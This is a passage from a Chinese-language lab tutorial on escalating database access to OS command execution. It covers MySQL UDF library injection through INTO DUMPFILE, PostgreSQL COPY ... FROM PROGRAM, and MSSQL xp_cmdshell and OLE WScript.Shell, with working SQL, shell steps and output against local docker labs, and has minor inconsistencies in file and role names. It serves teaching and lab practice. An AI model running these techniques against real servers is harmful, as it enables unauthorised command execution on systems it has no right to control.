style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_udf_lab.so';</span></span></code></pre>\n<p>这句话执行之后，MySQL实际会去寻找<code>@@plugin_dir/lib_udf_lab.so</code>，那么对应的就是<code>/usr/lib/mysql/plugin/lib_udf_lab.so</code>，所以我们必须把<code>.so</code>写到这个目录</p>\n<p>之后我们查看<code>secure_file_priv</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT @@secure_file_priv;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/4.png\" class=\"\"></p>\n<p><code>secure_file_priv</code>是MySQL用来限制文件导入导出路径的安全配置，如果<code>secure_file_priv</code>设置成一个非空目录，那么<code>select ... into outfile</code>或<code>into dumpfile</code>写出的文件必须位于这个目录中，所以<code>secure_file_priv</code>为空表示不限制写入路径</p>\n<p>具备这些条件之后我们看到之前所说的编译动态库：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>g++ -Wall -fPIC -shared \\</span></span>\n<span class=\"line\"><span>  -I/usr/include/mysql \\</span></span>\n<span class=\"line\"><span>  -o lib_udf_lab.so \\</span></span>\n<span class=\"line\"><span>  udf_eval.cc</span></span></code></pre>\n<p>这些命令可以将udf_exec.cc源码编译成一个Linux下可被MySQL加载的动态库文件<code>lib_udf_lab.so</code></p>\n<p><code>g++</code>：表示使用<code>C++</code>编译器</p>\n<p><code>-Wall</code>：开启编译警告，不会影响最终功能</p>\n<p><code>-fPIC</code>：（Position Independent Code）意思是生成位置无关代码，动态库<code>.so</code>被加载到内存时，加载地址不一定固定，所以<code>.so</code>里的代码需要能在不同内存地址正常运行，因此编译动态库时通常需要加上<code>-fPIC</code>，否则可能会出现动态库加载失败或者链接时出现relocation相关错误</p>\n<p><code>-shared</code>：表示生成共享库，也就是<code>.so</code>文件，如果不加<code>-shared</code>，编译器可能会尝试生成一个可执行程序（a.out）</p>\n<p><code>-I/usr/include/mysql</code>：表示让编译器去<code>/usr/include/mysql</code>目录下寻找头文件，因为UDF源码里出现了<code>#include &lt;mysql.h&gt;</code>，<code>mysql.h</code>不是C++标准库头文件，而是MySQL提供的开发头文件，如果不加这一项可能会出现<code>fatal error: mysql.h: No such file or directory</code>的报错，<code>/usr/include/mysql</code>目录存在于Kali Linux里面</p>\n<p><code>-o lib_udf_lab.so</code>：表示指定输出文件名</p>\n<p><code>udf_exec.cc</code>：需要被编译的源代码文件，里面定义了MySQL UDF函数，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>long long sys_eval(...)</span></span>\n<span class=\"line\"><span>bool sys_eval_init(...)</span></span>\n<span class=\"line\"><span>void sys_eval_deinit(...)</span></span></code></pre>\n<p>编译后这些函数会被打包进<code>lib_udf_lab.so</code>，之后MySQL执行<code>CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_udf_lab.so';</code>就会从这个<code>.so</code>文件里面寻找并加载<code>sys_eval</code></p>\n<p><code>\\</code>：Linux Shell里的换行续写符，等价于</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>g++ -Wall -fPIC -shared -I/usr/include/mysql -o lib_udf_lab.so udf_eval.cc</span></span></code></pre>\n<p>编译生成好<code>lib_udf_lab.so</code>之后，我们将<code>.so</code>转为十六进制</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 在lib_udf_lab.so文件所在位置执行：</span></span>\n<span class=\"line\"><span>xxd -p lib_udf_lab.so | tr -d '\\n' > lib_udf_lab.hex</span></span>\n<span class=\"line\"><span># 检查开头</span></span>\n<span class=\"line\"><span>head -c 80 lib_udf_lab.hex</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/5.png\" class=\"\"></p>\n<p>其中<code>7f454c46</code>就是ELF文件头</p>\n<p>为什么要转成十六进制呢？</p>\n<p><code>.so</code>是二进制文件，不能直接粘进MySQL，转成0x十六进制之后，MySQL就可以把它还原成原始二进制字节</p>\n<p>接下来生成写入UDF的SQL命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo -n \"SELECT 0x\" > write_udf.sql</span></span>\n<span class=\"line\"><span>cat lib_udf_lab.hex >> write_udf.sql</span></span>\n<span class=\"line\"><span>echo \" INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';\" >> write_udf.sql</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 检查SQL开头</span></span>\n<span class=\"line\"><span>head -c 100 write_udf.sql</span></span>\n<span class=\"line\"><span># 检查SQL结尾</span></span>\n<span class=\"line\"><span>tail -c 120 write_udf.sql</span></span>\n<span class=\"line\"><span># 结尾应该是INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';</span></span></code></pre>\n<p>可以看出<code>write_udf.sql</code>是一行命令，里面保存的是一个完整的SQL语句，而这个语句中间包含了整个<code>.so</code>文件的十六进制内容，他的作用就是将0x后面的十六进制数据转换成二进制数据然后写入<code>/usr/lib/mysql/plugin/lib_udf_lab.so</code>，同时为了避免换行产生的错误我们在写入时使用<code>tr -d '\\n'</code>删除换行，让整个<code>.so</code>的十六进制内容连续成一行</p>\n<p>为什么要通过写命令而不是直接上传<code>.so</code>呢？</p>\n<p>在真实场景中，攻击者通常没有操作系统层面的文件上传权限，<code>.so</code>文件储存在本地，不能通过<code>select load_file('/home/kali/lib_udf_lab.so')</code>在MySQL中读取kali系统里的文件。其次就是MySQL协议的连接主要用来发送SQL语句，没有直接上传任意文件到服务器任意目录的正常功能</p>\n<p>最后我们要执行的就是<code>.sql</code>里面的一行命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT 0x7f454c460201010000000000000000000300....... INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/6.png\" class=\"\"></p>\n<p>看到<code>Query OK,1 row affected (0.05sec)</code>，就说明写入成功，在本地可以去验证看看是否写入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker exec mysql-udf-real-lab ls -l /usr/lib/mysql/plugin/lib_udf_lab.so</span></span>\n<span class=\"line\"><span># 查看文件是否已经被写进plugin_dir</span></span>\n<span class=\"line\"><span>docker exec mysql-udf-real-lab sh -c \"od -An -tx1 -N4 /usr/lib/mysql/plugin/lib_udf_lab.so\"</span></span>\n<span class=\"line\"><span># 验证是不是正常的ELF动态库，如果是7f 45 4c 46就说明正常</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/7.png\" class=\"\"></p>\n<p>接下来我们可以去试试执行注册UDF函数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_udf_lab.so';</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/8.png\" class=\"\"></p>\n<p>注册成功之后我们尝试执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select sys_eval('id');</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/10.png\" class=\"\"></p>\n<p>可以看到成功实现了UDF命令回显，MySQL将返回结果按十六进制显示结果了，解码之后就是</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>uid=999(mysql) gid=999(mysql) groups=999(mysql)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/11.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/12.png\" class=\"\"></p>\n<p>这样我们就成功拿到了shell的执行权限</p>\n<h1 id=\"postgresql\"><a class=\"anchor\" href=\"#postgresql\">#</a> PostgreSQL</h1>\n<h2 id=\"copy-program\"><a class=\"anchor\" href=\"#copy-program\">#</a> COPY PROGRAM</h2>\n<h3 id=\"本地靶场搭建-2\"><a class=\"anchor\" href=\"#本地靶场搭建-2\">#</a> 本地靶场搭建</h3>\n<p>创建目录结构：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>postgres_priv_lab/</span></span>\n<span class=\"line\"><span>├── docker-compose.yml</span></span>\n<span class=\"line\"><span>└── init.sql</span></span></code></pre>\n<p>其中<code>docker-compose.yml</code>内容如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>services:</span></span>\n<span class=\"line\"><span>  postgres:</span></span>\n<span class=\"line\"><span>    image: postgres:16</span></span>\n<span class=\"line\"><span>    container_name: pg-priv-lab</span></span>\n<span class=\"line\"><span>    ports:</span></span>\n<span class=\"line\"><span>      - \"127.0.0.1:5433:5432\"</span></span>\n<span class=\"line\"><span>    environment:</span></span>\n<span class=\"line\"><span>      POSTGRES_PASSWORD: rootpass</span></span>\n<span class=\"line\"><span>      POSTGRES_DB: appdb</span></span>\n<span class=\"line\"><span>    volumes:</span></span>\n<span class=\"line\"><span>      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro</span></span></code></pre>\n<p><code>init.sql</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE TABLE users (</span></span>\n<span class=\"line\"><span>    id SERIAL PRIMARY KEY,</span></span>\n<span class=\"line\"><span>    username TEXT,</span></span>\n<span class=\"line\"><span>    password TEXT</span></span>\n<span class=\"line\"><span>);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>INSERT INTO users(username, password) VALUES</span></span>\n<span class=\"line\"><span>('admin', 'admin123'),</span></span>\n<span class=\"line\"><span>('guest', 'guest123'),</span></span>\n<span class=\"line\"><span>('flag', 'ZLARYY&#123;local_postgres_lab_only&#125;');</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE ROLE webapp LOGIN PASSWORD 'webpass';</span></span>\n<span class=\"line\"><span>GRANT CONNECT ON DATABASE appdb TO webapp;</span></span>\n<span class=\"line\"><span>GRANT USAGE ON SCHEMA public TO webapp;</span></span>\n<span class=\"line\"><span>GRANT SELECT, INSERT, UPDATE ON users TO webapp;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE ROLE misconf LOGIN PASSWORD 'misconfpass';</span></span>\n<span class=\"line\"><span>GRANT CONNECT ON DATABASE appdb TO misconf;</span></span>\n<span class=\"line\"><span>GRANT USAGE ON SCHEMA public TO misconf;</span></span>\n<span class=\"line\"><span>GRANT SELECT, INSERT, UPDATE ON users TO misconf;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>-- 故意错误配置：允许 misconf 执行服务器端程序</span></span>\n<span class=\"line\"><span>GRANT pg_execute_server_program TO misconf;</span></span></code></pre>\n<p>在PostgreSQL的预定义角色中，<code>pg_execute_program</code>允许用户通过<code>COPY</code>等功能以数据库服务器运行用户身份执行服务器端程序</p>\n<p>在<code>postgres_priv_lab</code>下执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker compose up -d --force-recreate</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 查看容器，应该看到pg_priv_lab</span></span>\n<span class=\"line\"><span>docker ps</span></span></code></pre>\n<p>如果windows上安装了<code>psql</code>，可以执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>psql -h 127.0.0.1 -p 5433 -U misconf -d appdb</span></span></code></pre>\n<p>密码：<code>misconfpass</code></p>\n<p>如果没有安装可以用docker里的客户端连接：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker exec -it pg-priv-lab psql -U misconf -d appdb</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/13.png\" class=\"\"></p>\n<h3 id=\"提权原理\"><a class=\"anchor\" href=\"#提权原理\">#</a> 提权原理</h3>\n<p>相较于UDF提权那些严格的前提条件，PostgreSQL数据库的提权只需要用户具有<code>pg_execute_server_program</code>身份就行</p>\n<p>在<code>PostgreSQL</code>中的几个危险的<strong>预定义角色</strong>：</p>\n<p><code>pg_read_server_file</code>：允许读取数据库服务器能访问的文件</p>\n<p><code>pg_write_server_files</code>：允许写入数据库服务器能访问的位置</p>\n<p><code>pg_execute_server_program</code>：允许执行数据库服务器端程序</p>\n<p><code>PostgreSQL</code>的<code>COPY</code>本来是用来导入、导出数据的，普通用法类似：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 把表数据写到服务器文件里</span></span>\n<span class=\"line\"><span>copy users to '/tmp/users.txt';</span></span></code></pre>\n<p>不过它存在一种危险形式：<code>from</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 让PostgreSQL服务器端执行系统命令id，然后把id的标准输出写入cmd_output表</span></span>\n<span class=\"line\"><span>copy cmd_output from program 'id';</span></span></code></pre>\n<p>那么我们可以实现一种执行命令并查看回显的命令串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 创建一个临时表，这个表只在当前数据库连接会话中存在，退出psql后一般就会消失，不会长期保存在数据库里面，cmd_output是临时表的名字，这个表里面存在一个列名line，数据类型是text，用来存放文本内容</span></span>\n<span class=\"line\"><span>create temp table cmd_output(line text);</span></span>\n<span class=\"line\"><span>copy cmd_output from program 'id';</span></span>\n<span class=\"line\"><span># 查询表cmd_output里面的内容</span></span>\n<span class=\"line\"><span>select * from cmd_output;</span></span></code></pre>\n<p>如果需要执行多条操作系统命令则需要先清空临时表：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>TRUNCATE cmd_output;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 然后继续执行</span></span>\n<span class=\"line\"><span>COPY cmd_output FROM PROGRAM 'whoami';</span></span>\n<span class=\"line\"><span>SELECT * FROM cmd_output;</span></span></code></pre>\n<h3 id=\"提权流程-2\"><a class=\"anchor\" href=\"#提权流程-2\">#</a> 提权流程</h3>\n<p>我们使用接下来的一串命令查询当前权限角色：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT rolname FROM pg_roles WHERE pg_has_role(current_user, oid, 'member');</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/15.png\" class=\"\"></p>\n<p>然后我们尝试执行那一串命令串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>create temp table cmd_output(line text);</span></span>\n<span class=\"line\"><span>copy cmd_output from program 'id';</span></span>\n<span class=\"line\"><span>select * from cmd_output;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/16.png\" class=\"\"></p>\n<p>可以看到成功实现了执行操作系统命令并查看返回结果</p>\n<p>除此之外我们也可以试试<code>COPY ... TO ... PROGRAM</code>，它表示的是将表或查询结果作为标准输入给系统命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>COPY (SELECT '') TO PROGRAM 'sh -c \"whoami > /tmp/copy_to_who.txt 2>&#x26;1\"';</span></span></code></pre>\n<p>这条命令就相当于让PostgreSQL执行<code>sh -c &quot;whoami &gt; /tmp/copy_to_who.txt 2&gt;&amp;1&quot;</code></p>\n<p>虽然 <code>COPY TO PROGRAM</code>不会直接把命令输出显示到SQL结果中，但它确实执行了命令并把结果写到了容器里的<code>/tmp/copy_to_id.txt</code>，那么再次搭配上<code>COPY FROM</code>就可以实现查看回显了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE TEMP TABLE cmd_output(line text);</span></span>\n<span class=\"line\"><span>COPY cmd_output FROM PROGRAM 'cat /tmp/copy_to_who.txt';</span></span>\n<span class=\"line\"><span>SELECT * FROM cmd_output;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/17.png\" class=\"\"></p>\n<h1 id=\"mssql\"><a class=\"anchor\" href=\"#mssql\">#</a> MSSQL</h1>\n<h2 id=\"xp_cmdshell\"><a class=\"anchor\" href=\"#xp_cmdshell\">#</a> xp_cmdshell</h2>\n<p>学习<code>xp_cmdshell</code>需要我们安装<code>SQL Server</code>以及<code>SSMS</code>：</p>\n<p><a href=\"https://learn.microsoft.com/zh-cn/ssms/install/install\">https://learn.microsoft.com/zh-cn/ssms/install/install</a></p>\n<p><a href=\"https://www.microsoft.com/en-us/sql-server/sql-server-downloads\">https://www.microsoft.com/en-us/sql-server/sql-server-downloads</a></p>\n<p>安装流程可以参考：[<a href=\"https://cloud.tencent.com/developer/article/2395996\">WEB安全]MSSQL/SQL Server 提权手法详解-腾讯云开发者社区-腾讯云</a></p>\n<p>不过ZLARYY在安装的时候没有用序列号呢~</p>\n<h3 id=\"xp_cmdshell提权原理\"><a class=\"anchor\" href=\"#xp_cmdshell提权原理\">#</a> xp_cmdshell提权原理</h3>\n<p><code>xp_cmdshell</code>本质上是一个扩展存储过程：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>exec xp_cmdshell 'id';</span></span></code></pre>\n<p>可以理解为<code>SQL Server</code>收到SQL语句之后调用<code>xp_cmdshell</code>，<code>SQL Server</code>服务端创建操作系统进程执行<code>id / whoami / dir / ls</code>等系统命令之后把命令输出返回到SQL查询结果</p>\n<h3 id=\"提权过程\"><a class=\"anchor\" href=\"#提权过程\">#</a> 提权过程</h3>\n<p>首先我们通过这些命令去查询当前用户：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select system_user;</span></span>\n<span class=\"line\"><span>select is_srvrolemember('sysadmin');</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/22.png\" class=\"\"></p>\n<p>根据查询结果可以看到当前用户是<code>sa</code>，并且是<code>sysadmin</code>，那么我们就有权限开启和调用<code>xp_cmdshell</code></p>\n<p>开启<code>xp_cmdshell</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>EXEC sp_configure 'show advanced options', 1;</span></span>\n<span class=\"line\"><span>RECONFIGURE;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>EXEC sp_configure 'xp_cmdshell', 1;</span></span>\n<span class=\"line\"><span>RECONFIGURE;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 查看xp_cmdshell当前状态</span></span>\n<span class=\"line\"><span>exec sp_configure 'xp_cmdshell';</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/23.png\" class=\"\"></p>\n<p>接下来我们就可以尝试尝试命令执行了，由于我们现在安装的是Windows本机版的SQL Server，<code>xp_cmdshell</code>执行命令时调用的是Windows的命令解释器，不是Linux shell，所以我们只能执行windows终端下的所有命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>exec xp_cmdshell 'dir';</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/24.png\" class=\"\"></p>\n<p>这样我们就实现了<code>sa</code>让<code>SQL Server</code>服务进程执行系统命令</p>\n<p>查看当前<code>xp_cmdshell</code>拿到的是什么权限：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>exec xp_cmdshell 'whoami';</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/25.png\" class=\"\"></p>\n<p><code>SQL Server</code>服务账户是谁那么<code>xp_cmdshell</code>执行命令时就是谁的系统权限</p>\n<h2 id=\"ole\"><a class=\"anchor\" href=\"#ole\">#</a> OLE</h2>\n<p>OLE提权一般指MSSQL里的<code>OLE Automation Procedures</code>滥用，他不是一种单独的Windows漏洞，而是<code>SQL Server</code>提供的一组系统存储过程，如果被开启且当前SQL用户有足够权限，就可以在SQL里面创建COM对象，通过<code>sp_OAMethod</code>调用COM对象方法，然后<code>WScript.Shell</code>执行Windows命令，间接调用Windows组件完成文件操作、命令执行等行为</p>\n<p><code>SQL Server</code>支持一组<code>OLE Automation</code>系统存储过程，可以在<code>T-SQL</code>批处理中使用<code>OLE Automation</code>对象，默认情况下这个功能是关闭的，需要系统管理员通过<code>sp_configure</code>启用，启用后，<code>sp_OACreate</code>可以创建<code>OLE Automation</code>对象</p>\n<p>常见的COM对象包括：<code>WScript.Shell</code>、<code>Scripting.FileSystemObject</code>、<code>Shell.Application</code></p>\n<p>其中<code>WScript.Shell</code>经常被用来执行系统命令</p>\n<p><code>OLE Automation</code>存储过程包括<code>sp_OACreate</code>、<code>sp_OADestroy</code>、<code>sp_OAGetProperty</code>、<code>sp_OAMethod</code>、<code>sp_OASetProperty</code>、<code>sp_OAStop</code>、<code>sp_OAGetErrorInfo</code>等</p>\n<p>其中<code>sp_OACreate</code>用于创建COM对象，<code>sp_OAMethod</code>用于调用对象方法，<code>sp_OAGetProperty</code>获取对象属性，<code>sp_OADestroy</code>用于销毁对象</p>\n<h3 id=\"提权过程-2\"><a class=\"anchor\" href=\"#提权过程-2\">#</a> 提权过程</h3>\n<p>开启<code>OLE Automation</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>EXEC sp_configure 'show advanced options', 1;</span></span>\n<span class=\"line\"><span>RECONFIGURE;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>EXEC sp_configure 'Ole Automation Procedures', 1;</span></span>\n<span class=\"line\"><span>RECONFIGURE;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 查看是否成功开启</span></span>\n<span class=\"line\"><span>EXEC sp_configure 'Ole Automation Procedures';</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/26.png\" class=\"\"></p>\n<p>命令执行whoami：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 声明变量 @shell保存WScript.Shell对象的句柄，@exec保存EXEC执行后返回的对象句柄，@output保存命令输出的结果，@hr保存OLE调用的返回状态码，这里的INT不是普通数字用途，而是用来保存OLE对象的引用编号</span></span>\n<span class=\"line\"><span>DECLARE @shell INT;</span></span>\n<span class=\"line\"><span>DECLARE @exec INT;</span></span>\n<span class=\"line\"><span>DECLARE @output NVARCHAR(4000);</span></span>\n<span class=\"line\"><span>DECLARE @hr INT;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 创建WScript.Shell对象，创建成功后把对象句柄保存到@Shell，返回状态码保存到@hr。WScript.Shell是Windows里的脚本Shell对象，可以执行系统命令</span></span>\n<span class=\"line\"><span>EXEC @hr = sp_OACreate 'WScript.Shell', @shell OUT;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 判断对象是否创建失败，创建失败的话@hr!=0</span></span>\n<span class=\"line\"><span>IF @hr &#x3C;> 0</span></span>\n<span class=\"line\"><span>BEGIN</span></span>\n<span class=\"line\"><span>    SELECT 'sp_OACreate failed' AS error, @hr AS hresult;</span></span>\n<span class=\"line\"><span>    RETURN;</span></span>\n<span class=\"line\"><span>END;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 对@Shell代表的WScript.Shell对象调用Exec方法，执行命令cmd /c whoami，执行后返回一个Exec对象保存到@exec，返回状态码保存到@hr，其中cmd /c whoami表示启动Windows cmd.exe执行whoami，执行完后退出</span></span>\n<span class=\"line\"><span>EXEC @hr = sp_OAMethod @shell, 'Exec', @exec OUT, 'cmd /c whoami';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 判断Exec是否失败，如果Exec失败就输出错误信息并且执行Exec sp_OADestroy @Shell释放前面创建的WScript.Shell对象</span></span>\n<span class=\"line\"><span>IF @hr &#x3C;> 0</span></span>\n<span class=\"line\"><span>BEGIN</span></span>\n<span class=\"line\"><span>    SELECT 'Exec failed' AS error, @hr AS hresult;</span></span>\n<span class=\"line\"><span>    